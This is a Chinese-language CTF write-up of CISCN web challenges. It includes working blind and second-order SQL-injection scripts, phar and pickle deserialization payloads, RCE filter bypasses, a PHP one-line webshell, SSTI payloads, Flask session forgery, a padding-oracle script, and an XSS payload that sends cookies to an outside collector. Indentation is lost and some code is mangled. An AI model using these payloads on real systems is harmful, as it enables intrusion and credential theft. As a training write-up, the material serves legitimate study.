原來國賽就是CISCN......buuoj上題目挺全的,干脆選一些比較有價值的題目復現(xiàn)下:
Hack World(盲注)
簡單的布爾盲注題,簡單FUZZ一下發(fā)現(xiàn)是數(shù)值型注入。同時過濾了and,or,union空格等等?;仫@可以判斷正誤,考慮是布爾盲注。payload直接用if分流即可。空格可以%0a繞過,也可以直接括號括起來(之前總結(jié)過)
exp:
import requests
#flag{3de016a6-fb79-4b56-a2fb-ea24bc26083f}
url='http://18733385-8c1b-4df7-88f0-1fb70bb6c05b.node3.buuoj.cn/index.php'
flag=''
for i in range(1,50):
print(i)
a=0
for j in range(32,128):
payload="if(ascii(substr((select%0aflag%0afrom%0aflag),"+str(i)+",1))="+str(j)+",1,2)"
data = {
'id': payload
}
res=requests.post(url,data=data)
if 'Hello' in res.text:
flag+=chr(j)
print(flag)
a=1
break
if a==0:
break
Dropbox(phar反序列化)
題目屬于php反序列化。感覺國賽的題目確實質(zhì)量很高,這里的反序列化利用看了源碼不少時間才找出利用。趕緊記錄下。
首先進來注冊賬號登陸。發(fā)現(xiàn)有文件上傳點。順手傳個一句話圖片馬,發(fā)現(xiàn)沒有過濾。然后提供了對圖片的下載與刪除功能。此時依次嘗試一下,發(fā)現(xiàn)下載功能的filename允許任意文件下載,于是直接拿到index.php的源碼,接著可以拿到其他關(guān)鍵源碼,發(fā)現(xiàn)是php反序列化,開始審計。
index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<?php echo $_SESSION['username']?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">???è??</a> / <a href="#" class="delete">?? é?¤</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
審計源碼第一反應(yīng)首先是sql注入。但是隨即發(fā)現(xiàn)不存在可控參數(shù),所以注入無果。接下來重心放在反序列化上。首先需要明確的是,我們源碼中并不存在unserialize()函數(shù),但是我們有文件上傳點。所以反序列化需要通過上傳phar文件并進行phar://偽協(xié)議觸發(fā)。
接下來尋找常見文件讀取函數(shù),注意到File類file_get_contents()方法
public function close() {
return file_get_contents($this->filename);
}
確定是可以進行文件讀取了。接下來挖掘一下函數(shù)的調(diào)用。首先close()是File類的方法,而File類只在Filelist類中有調(diào)用過。但Filelist中并沒有調(diào)用close()方法的位置。此時需要注意Filelist類中的兩個魔術(shù)方法之一:
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
它將Filelist類中的files數(shù)組全部遍歷了一遍,并執(zhí)行對應(yīng)的func()結(jié)果被存進result。之后的__destruct()方法則會將result等等結(jié)果打印出來。
這一條利用在于:確保了Filelist的對象如果能借此魔術(shù)方法調(diào)用close()方法,那么它最后銷毀時析構(gòu)函數(shù)會打印出我們需要的文件內(nèi)容。
之后再次審計,注意到User類的__destruct()方法
public function __destruct() {
$this->db->close();
}
原本只是一個同名close()函數(shù),但是此處卻存在著可利用之處。假如我們的文件上傳的是User類的對象。銷毀時自然會執(zhí)行close()函數(shù)。但如果把db設(shè)置為Filelist類的對象,那么db->close()執(zhí)行時將找不到close()函數(shù),進而執(zhí)行其files數(shù)組里的每一個函數(shù)。那么如果files數(shù)組里是存在同名函數(shù)close的File類對象,就能成功執(zhí)行文件讀取。
找到利用鏈后,exp如下:
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
生成的a.phar修改后綴上傳,之后需要找觸發(fā)方式,此處需要注意一點,在download.php中,設(shè)置了目錄:
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
而只有delete.php中的目錄是在題目給定的文件上傳沙盒中的:
chdir($_SESSION['sandbox']);
故只有delete操作能直接phar://觸發(fā)反序列化。
(這里的文件讀取flag.txt是傳統(tǒng)藝能?每次題目都沒交代)
ikun(python反序列化)
結(jié)合了很多知識點的一道題目,但是最后一步的python反序列化確實不會,只好去找了找wp。(本來之前打算學下python反序列化的,結(jié)果搞忘了hhh)
首先登陸題目發(fā)現(xiàn)在迫害cxk,同時底下有許多商品提示需要購買lv6的商品。但是看了半天前幾頁并沒找到lv6商品,由于頁數(shù)page直接get傳值,看來需要腳本爆破一下:
import requests
url='http://2c771d3e-86f0-4f72-9815-f19dcb4fd51a.node3.buuoj.cn/shop?page='
for i in range(0,2000):
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print (i)
break
之后發(fā)現(xiàn)lv6商品,加入到購物車后,準備注冊賬號并登錄購買。顯然錢數(shù)是不夠的,但是卻有折扣這一參數(shù)被直接post傳值。那么修改其值足夠小即可。得到一個目錄b1g_m4mber。應(yīng)該是后臺地址。
訪問網(wǎng)址提示需要admin操作權(quán)限。這里抓包一下,發(fā)現(xiàn)cookie里居然有JWT。看來是比較常見的JWT偽造認證了。
(之前在hackthebox某一臺靶機中就存在仿造JWT登錄的操作,應(yīng)該說并不難,而且比較好理解)
先拿來base64解碼,發(fā)現(xiàn)存在亂碼??赡苁且驗榧恿他}值key的原因。那么第一步先爆破下key值:
https://github.com/brendan-rius/c-jwt-cracker
得到JWTKey 為1Kun,接下來上https://jwt.io/
去生成admin的jwt token.
可以看到j(luò)wt-token一定是xxx.yyy.zzz的形式。且三段各自代表header,paylaod,signature的json數(shù)據(jù)內(nèi)容經(jīng)base64處理。爆破key值修改paylload為admin也是家常便飯。
控制臺里修改
document.cookie="JWT=xxxxxxxxxxx"
成功登陸。
之后發(fā)現(xiàn)源碼存在www.zip??梢阅玫皆创a。然后我就不會了.......
查wp后發(fā)現(xiàn)是python反序列化。具體漏洞在Admin.py:
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
become可控。
這里其實可以把pickle.loads的操作理解為反序列化。而__reduce__這一魔術(shù)方法會在對象被pickle時調(diào)用。從而可以構(gòu)造payload:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a= urllib.quote(a)
print(a)
這里我的exp在本機跑出來結(jié)果不知為何是錯的。只有用kali才跑出正確的結(jié)果
傳值拿flag
Love Math(構(gòu)造RCE)
源碼:
<?php
error_reporting(0);
//聽說你很喜歡數(shù)學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太長了不會算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("請不要輸入奇奇怪怪的字符");
}
}
//常用數(shù)學函數(shù)http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("請不要輸入奇奇怪怪的函數(shù)");
}
}
//幫你算出答案
eval('echo '.$content.';');
}
題目很有意思,達成目的顯然是RCE。但是可以發(fā)現(xiàn)過濾了很多字符與函數(shù),限制了長度。而白名單內(nèi)的函數(shù)全部是數(shù)學函數(shù),黑名單的字符過濾了常見標點。現(xiàn)在要達成RCE需要繞過上的奇淫技巧。
首先有一種思路是分開傳值 ,我個人也比較偏好這種做法。具體形式大致是
?c=$_GET[a]&a=system('ls');
但是此題首先變量名不能隨意,只能從白名單中找出可用數(shù)學符號作為變量名。此處考慮長度使用pi。
然后是考慮,在_GET[]被過濾的情況下能使用什么數(shù)學函數(shù)達成構(gòu)造字符串的目的。這里應(yīng)該首先考慮進制轉(zhuǎn)換函數(shù),因為10進制以上的數(shù)都有英文字母作為數(shù)碼。而假如是36進制數(shù)的話,將會擁有1~10加上26個英文字母作為數(shù)碼,這足以我們拼湊出payload。
假如payload是:
?c=($_GET){0}($_GET){1};&0=system&1=cat /flag
那么我們只需構(gòu)造出_GET字符串。
具體倒推方法如下:
_GET->bin2hex('_GET')->5f474554
->hexdec('5f474554')->1598506324#純數(shù)字
#需要構(gòu)造hex2bin()
base_convert('hex2bin',36,10)->37907361743
所以
$pi=base_convert(37907361743,10,36)(dechex(1598506324));
$pi=hex2bin(5f474554);
$pi=_GET;
$$pi=$_GET;
故最后payload
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag
除此之外還可以構(gòu)造
exec(getallheaders(){1})
在headers里加上1:cat /flag這一項執(zhí)行
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
由于結(jié)果是echo返回的,上面使用逗號可以將兩個結(jié)果都打印出來。
其他思路包括直接構(gòu)造RCE語句,但是感覺沒有上面的方法用起來舒服??吹骄W(wǎng)上還有其他非常有意思的解法,就不一一列舉了。
CyberPunk(二次注入)
上來index.php中給了姓名,電話,地址三個框來填。同時還有三個功能:查詢,修改,刪除。由于查詢這一個操作都只要姓名電話,我猜測剩下的地址這個參數(shù)可能是通過輸入姓名電話對地址進行某種觸發(fā)式注入。基本可以猜測是sql注入題型。
從源碼處得到一個file參數(shù)。果斷文件包含讀到源碼:
index.php
<?php
ini_set('open_basedir', '/var/www/html/');
$file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 電話:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到訂單!";
}
}else {
$msg = "信息不全";
}
?>
change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "訂單修改成功";
} else {
$msg = "未找到訂單!";
}
}else {
$msg = "信息不全";
}
?>
delete.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "訂單刪除成功";
} else {
$msg = "未找到訂單!";
}
}else {
$msg = "信息不全";
}
?>
審計源碼后重點關(guān)注address有無注入,發(fā)現(xiàn)題目都只對前兩個參數(shù)進行了過濾,并未檢查address。同時address只經(jīng)過了一次addslashes()就被存儲,這是經(jīng)典的二次注入的使用場景。加上觸發(fā)方式:
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
回顯以error的形式被打印出來,證明我們需要使用報錯注入。
具體形式是,我們提交姓名,電話,地址三個參數(shù),并在地址使用報錯注入。之后在change.php再次提交相同姓名電話與隨便寫地址,即可觸發(fā)update執(zhí)行報錯注入。根據(jù)update語句構(gòu)造payload:
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
貌似題目flag不在庫里,看wp發(fā)現(xiàn)是/flag.txt。有點迷惑。需要注意報錯注入字段數(shù)的限制,調(diào)整substr()的后兩個參數(shù)。
第一部分先寫這么多,過段時間把題目刷完。
來了來了,第二部分繼續(xù)
Easyweb(布爾盲注)
開始從robots.txt得到的image.php.bak的源碼泄露信息
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
發(fā)現(xiàn)有sql注入點,主要要應(yīng)對兩個參數(shù)的過濾
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
考慮使用\0,并在path中注入。這樣我們的sql語句就變成了:
select * from images where id=' or path=' or 1=1#
剩下的布爾盲注即可
import requests
flag=''
for i in range(1,50):
a=0
print(i)#ciscnfinal, images,users
for j in range(32, 128):#select group_concat(column_name) from information_schema.columns where table_name=database()
#url = "http://b086efbf-5393-4974-b79d-0608047a11b0.node3.buuoj.cn/image.php?id=\\0&path=or%20id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),"+str(i)+",1))="+str(j)+",1,0)%23"
url = "http://b086efbf-5393-4974-b79d-0608047a11b0.node3.buuoj.cn/image.php?id=\\0&path=or%20id=if(ascii(substr((select group_concat(password) from users),"+str(i)+",1))="+str(j)+",1,0)%23"
res = requests.get(url)
if 'JFIF' in res.text:
flag += chr(j)
print(flag)
a = 1
break
if a==0:
break
注入得到username與password登錄進入后臺。發(fā)現(xiàn)一個文件上傳點。簡單fuzz下發(fā)現(xiàn)文件名會被存儲到固定php日志文件中logs/upload.b888aaa68e9659c297c4b02084157cff.log.php
既然如此只需上傳一句話。發(fā)現(xiàn)php關(guān)鍵字被攔。
使用短標簽繞過:
<?=@eval($_GET['byc']);?>
這是因為
//php.ini中
short_open_tag = On
//除<?php ?>,可使用更靈活的調(diào)用方法
<? /*程序操作*/ ?>
<?=/*函數(shù)*/?>
bypass掉后執(zhí)行命令system('cat /flag');即可
華東南賽區(qū) Web11(模板注入)
這題開始看的我賊奇怪,因為整個網(wǎng)站貌似只是一個api接口。其中回顯有一部分十分顯眼
開始考慮是否存在關(guān)于xff頭的信息。但是沒測出來。去網(wǎng)上搜了波wp恍然大悟。原來關(guān)鍵點在網(wǎng)頁下方提示的
Build With Smarty !Smarty是一種php網(wǎng)頁引擎,也存在如pythonjinja2的ssti注入。
同時其使用方法如{if cmd}{/if}可以執(zhí)行命令。
所以首先bp里更改xff包,嘗試{{1+1}},發(fā)現(xiàn)注入成功;
之后直接任意命令執(zhí)行即可拿到flag
{file_get_contents('/flag')}
華東北賽區(qū) Web2(存儲型xss+sql注入)
題目算是比較傳統(tǒng)的xss觸發(fā)模式了。注冊登錄后一個輸入框允許我們使用xsspayload,還有一個界面輸入驗證碼后觸發(fā)bot閱讀。我們目標就是打到admin的cookie。
首先嘗試性彈個窗,結(jié)果在頁面里看到個自己有心理陰影的CSP限制。
<meta http-equiv="content-security-policy" content="default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'">
好在csp規(guī)則不算比較嚴格。因為'unsafe-inline' 'unsafe-eval'允許我們加載一段內(nèi)聯(lián)js代碼執(zhí)行。而解決這個的辦法只需使用window.location.href就可繞過。這里因為有buuoj提供的xss平臺,所以直接用生成的代碼打一打看看。發(fā)現(xiàn)有過濾與轉(zhuǎn)換,估計得實體編碼繞過。
把xss平臺生成的payload改成實體編碼:(注意id值是生成代碼里的id,一開始以為是項目名id半天打不到)
(function(){window.location.href='http://ip:port/index.php?do=api&id=ex0I6K&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
<svg><script>實體編碼payload</script>
提交后訪問頁面,可以看到平臺是能收到cookie的,那就不需要關(guān)心其他的,直接去反饋頁面跑段腳本爆破驗證碼提交即可。等待bot點擊頁面,之后平臺收到cookie
修改登錄進入admin.php后臺,一個明顯的sql注入直接聯(lián)合查詢即可。3個字段,回顯第2,3個
double secrect (ssti)
基本上唬人的成分比較大。因為一開始進入題目只有一句Welcome To Find Secret,之后訪問robots.txt發(fā)現(xiàn)居然報this is android ctf,讓我以為看錯題了。但其實訪問secret路由并傳參secret時,發(fā)現(xiàn)會有回顯。當回顯字數(shù)多的時候出現(xiàn)python報錯,可以猜測是ssti。這里我嘗試直接傳一段中文,其實ascii碼比較大的文字也會觸發(fā)報錯,爆出重要源碼:
原來是段加密,而且爆出的源碼連key值都給了。那么直接RC4加密我們的ssti payload基本就完事了。
exp:
import requests
import urllib
class RC4:
def __init__(self, key):
self.key = key
self.key_length = len(key)
self._init_S_box()
def _init_S_box(self):
self.Box = [i for i in range(256)]
k = [self.key[i % self.key_length] for i in range(256)]
j = 0
for i in range(256):
j = (j + self.Box[i] + ord(k[i])) % 256
self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
def crypt(self, plaintext):
i = 0
j = 0
result = ''
for ch in plaintext:
i = (i + 1) % 256
j = (j + self.Box[i]) % 256
self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
t = (self.Box[i] + self.Box[j]) % 256
result += chr(self.Box[t] ^ ord(ch))
return result
url='http://7318e5d2-ecf4-4961-b115-4f1eb3b11c4a.node3.buuoj.cn/secret?secret='
a = RC4('HereIsTreasure')
cmd="{{''.__class__.__mro__[2].__subclasses__()[40]('/flag.txt').read()}}"
payload = urllib.parse.quote(a.crypt(cmd))
res = requests.get(url + payload)
print(res.text)
華東南賽區(qū) Web4 (flask session cookie偽造)
被沒必要的情況給浪費了時間......主要是環(huán)境問題,心里苦啊。
首先題目給了一個參數(shù)可以讀取文件,由于路由名稱,先看下源碼app.py
# encoding:utf-8
import re, random, uuid,
urllib from flask
import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True @app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! Read somethings'
@app.route('/read')
def read():
try: url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n: return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run( debug=True, host="0.0.0.0" )
可以看到只要偽造session['username']的值就可以拿到flag了。由于這里的隨機數(shù)種子SECRECT_KEY很輕松就可以偽造,所以直接上腳本爆破并生成cookie值
import flask_session_cookie_manager2
import random
mac = "02:42:ae:00:d0:09"
random.seed(int(mac.replace(":", ""), 16))
for x in range(1000):
key = str(random.random() * 233)
result = flask_session_cookie_manager2.FSCM.decode('eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.XljQxQ.zBqq36UiMEIrykW9oqSlvg4wBkw', key)
if 'error' not in result:
result[u'username'] = 'fuck'
print flask_session_cookie_manager2.FSCM.encode(key, str(result))
exit()
理論上改cookie就完事了,但是我白花了一個多小時,因為虛擬機的py2的環(huán)境有問題。期間還發(fā)現(xiàn),原來參數(shù)不變時生成的cookie也會因為時間原因而不同。當然這并不影響結(jié)果。只要是python2理論上就沒有問題。
最后還是在vps上跑的腳本才拿到flag......
PointSystem(PaddingOracle+cbc翻轉(zhuǎn))
題目難度挺大的,前后還拖了不少時間,最后參考了出題人趙師傅的wp才勉強寫出來的。其中涉及PaddingOracle+CBC翻轉(zhuǎn)攻擊的知識涉及密碼學,自己所知甚少,原來也只套過腳本做過一道paddingoracle的題目。所以先把解題過程放一下,抽空把padding oracle等等加密原理理解下。
首先題目從robots.txt中獲取信息,進入swagger-ui.html,可以看到有許多api接口的使用。
一開始嘗試能否直接在這個界面進行命令執(zhí)行,比如注冊或者ping之類的。但是發(fā)現(xiàn)并不可行。不過我們既然知道有注冊接口,直接按照格式利用接口注冊一個賬號就好了。
注冊后嘗試登錄,卻意外發(fā)現(xiàn)存在權(quán)限不夠的問題。
但是在burpsuite中意外發(fā)現(xiàn)了除了一個登錄的post包,還有一個get請求了未知的api并返回信息。
將登錄所返回的一段base64進行解碼得到:
{"signed_key":"SUN4a1NpbmdEYW5jZVJhUHsFQR4ln5VFC9L09echkYhTWQgiwZohj27JWt98/+1ZOzOMzVHlzkkVTuw8vkgQOwMZ2B5Leaq0Gc+rzoKtQdjsiMrpsSBq/QvWKTHYKxBHN0JzlQd6bXhFdSUa4slA7g==","role":3,"user_id":1,"payload":"CHAkpjTggDemZY7gzXBvbR2WeXJ47cfj","expire_in":1582905111}
而前面的signed_key也進行base64解碼的話,會發(fā)現(xiàn)內(nèi)容由明文+密文組合起來了。說明有可能服務(wù)器采取cbc模式加密。我們要做的就是paddingoracle破解出結(jié)構(gòu)并cbc翻轉(zhuǎn)一下。
padding oracleexp:
import time
import requests
import base64
import json
host = "d46d6658-3bdd-48d9-8600-ee320a2a837a.node3.buuoj.cn"
def padding_oracle(key):
user_key_decode = base64.b64decode(key)
user_key_json_decode = json.loads(user_key_decode)
signed_key = user_key_json_decode['signed_key']
signed_key_decoded = base64.b64decode(signed_key)
url = "http://" + host + "/frontend/api/v1/user/info"
N = 16
total_plain = ''
for block in range(0, len(signed_key_decoded) // 16 - 1):
print(block)
token = ''
get = b""
cipher = signed_key_decoded[16 + block * 16:32 + block * 16]
for i in range(1, N+1):
for j in range(0, 256):
time.sleep(0.2)
padding = b"".join([(get[n] ^ i).to_bytes(1, 'little') for n in range(len(get))])
c = b'\x00' * (16 - i) + j.to_bytes(1, 'little') + padding + cipher
#print(c)
token = base64.b64encode(c)
user_key_json_decode['signed_key'] = token.decode("utf-8")
header = {'Key': base64.b64encode(bytes(json.dumps(user_key_json_decode), "utf-8"))}
res = requests.get(url, headers=header)
if '少女' in res.text:
print('404 error occured!')
time.sleep(15.0)
res = requests.get(url, headers=header)
if res.json()['code'] == 206:
get = (j ^ i).to_bytes(1, 'little') + get
print(i,get)
break
plain = b"".join([(get[i] ^ signed_key_decoded[block * 16 + i]).to_bytes(1, 'little') for i in range(N)])
print(plain.decode("utf-8"), "block=%d" % block)
total_plain += plain.decode("utf-8")
print(total_plain)
return total_plain
plain_text = padding_oracle("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaEVqZjRGRjhTQVV5VjVmS3RqbGhuY2lZV3YrYW9NZi9EV2hvU1laaVFpWTJkanlpV1hJbGNqM2FRTndmajdLNnpvZGwzcUhsb2lPakdxWGhCRTN6UHVTeDMwY2lPdlpMZm5ya2tDZ0ZWRXFRPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoyLCJwYXlsb2FkIjoic3c4SHByRENncFJHRWZwYzMxY29KME1DR1NkRm90SlgiLCJleHBpcmVfaW4iOjE1ODI5ODYwODB9")
print(plain_text)
由于padding需要頻繁請求服務(wù)器,buu的靶機期間經(jīng)常出現(xiàn)404。所以我得在每次出現(xiàn)404時sleep十多秒......太難了,跑了快幾小時才好。跑完后得到明文結(jié)構(gòu)
{"role":3,"user_id":2,"payload":"sw8HprDCgpRGEfpc31coJ0MCGSdFotJX","expire_in":1582986080}
